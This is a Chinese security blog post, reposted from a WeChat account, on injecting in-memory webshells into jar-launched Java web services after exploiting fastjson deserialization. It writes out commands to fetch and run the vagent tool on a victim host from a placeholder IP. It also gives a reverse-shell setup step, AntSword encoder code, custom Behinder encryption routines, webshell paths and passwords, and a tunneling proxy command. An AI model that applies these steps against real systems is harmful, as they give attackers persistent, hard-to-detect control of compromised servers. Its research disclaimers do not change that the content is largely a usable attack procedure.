jar包环境下注入内存马

admin 2024年11月17日12:09:32评论23 views字数 2058阅读6分51秒阅读模式

    免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

前言:

    攻防或渗透过程中经常会遇到jar包启的web程序,这种就没办法通过搜索静态文件找目录写马了,这里演示使用vagent注入工具注入内存马。

案例演示:

    此处使用fastjson 1.2.24反序列化来做演示。

jar包环境下注入内存马

    这里不再演示如何通过反序列化获取权限,这个不是重点。

    同样的先把会话反弹到服务器。

jar包环境下注入内存马

    接着需要将vagent下载到被害机器内。

python3 -mhttp.server 1234 #启动web服务器wgethttp://xx.xx.xx.xx:1234/vagent.jar  #下载工具java -jar vagent.jar #执行

jar包环境下注入内存马

    此处根据返回可知注入成功。

    其中蚁剑连接需要配置编码器,其中链接以/faviconjs结尾密码是a编码器内容如下图:

'use strict';module.exports = (pwd, data, ext={}) =>{data[pwd]=Buffer.from(Buffer.from(data['_']).toString('base64')).toString('base64');delete data['_'];return data;}

jar包环境下注入内存马

jar包环境下注入内存马

    冰蝎链接以 /faviconb 结尾,需要自定义加解密协议。

private byte[] Encrypt(byte[] data) {    byte[] dt = new byte[data.length];    for (int i = 0; i < data.length; i++) {        dt[i] = (byte) (data[i] + 1);    }    try {        java.io.ByteArrayOutputStream o = new java.io.ByteArrayOutputStream();        java.util.zip.GZIPOutputStream g = new java.util.zip.GZIPOutputStream(o);        g.write(dt);        g.close();        byte[] c = o.toByteArray();        byte[] ct = new byte[c.length];        for (int i = 0; i < c.length; i++) {            ct[i] = (byte) (c[i] + 1);        }        return ct;    } catch (Exception ignored) {    }    return data;}private byte[] Decrypt(byte[] data) {    byte[] dt = new byte[data.length];    for (int i = 0; i < data.length; i++) {        dt[i] = (byte) (data[i] - 1);    }    try {        java.io.ByteArrayInputStream t = new java.io.ByteArrayInputStream(dt);        java.util.zip.GZIPInputStream i = new java.util.zip.GZIPInputStream(t, dt.length);        byte[] c = r(i);        byte[] ct = new byte[c.length];        for (int b = 0; b < c.length; b++) {            ct[b] = (byte) (c[b] - 1);        }        return ct;    } catch (Exception ignored) {    }    return data;}private byte[] r(java.io.InputStream i) {    byte[] temp = new byte[1024];    java.io.ByteArrayOutputStream b = new java.io.ByteArrayOutputStream();    int n;    try {        while((n = i.read(temp)) != -1) {b.write(temp, 0, n);        }} catch (Exception ignored) {    }    return b.toByteArray();}

jar包环境下注入内存马

其他内存马:

1.CMD马链接:以 /faviconc 结尾POST两次Base64以后的命令2.Neo代理内存马链接:以 /faviconneo 结尾密码:page,要加--skippython3 neoreg.py -k page -u URL -p 1083 --skip3.Suo5代理内存马链接:以 /faviconsuo 结尾无需密码4.WebSocket代理内存马链接:以 /faviconws 结尾无需密码,使用gost进行连接

总结

    此工具主要适用于jar包启动的web服务获取权限后为了方便后续操作注入内存马,也可以是常规工具内存马注入不进去(如shiro反序列化),前提环境能够出网。

参考文章:

https://github.com/veo/vagent

原文始发于微信公众号(Khan安全攻防实验室):jar包环境下注入内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月17日12:09:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   jar包环境下注入内存马https://cn-sec.com/archives/3401537.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息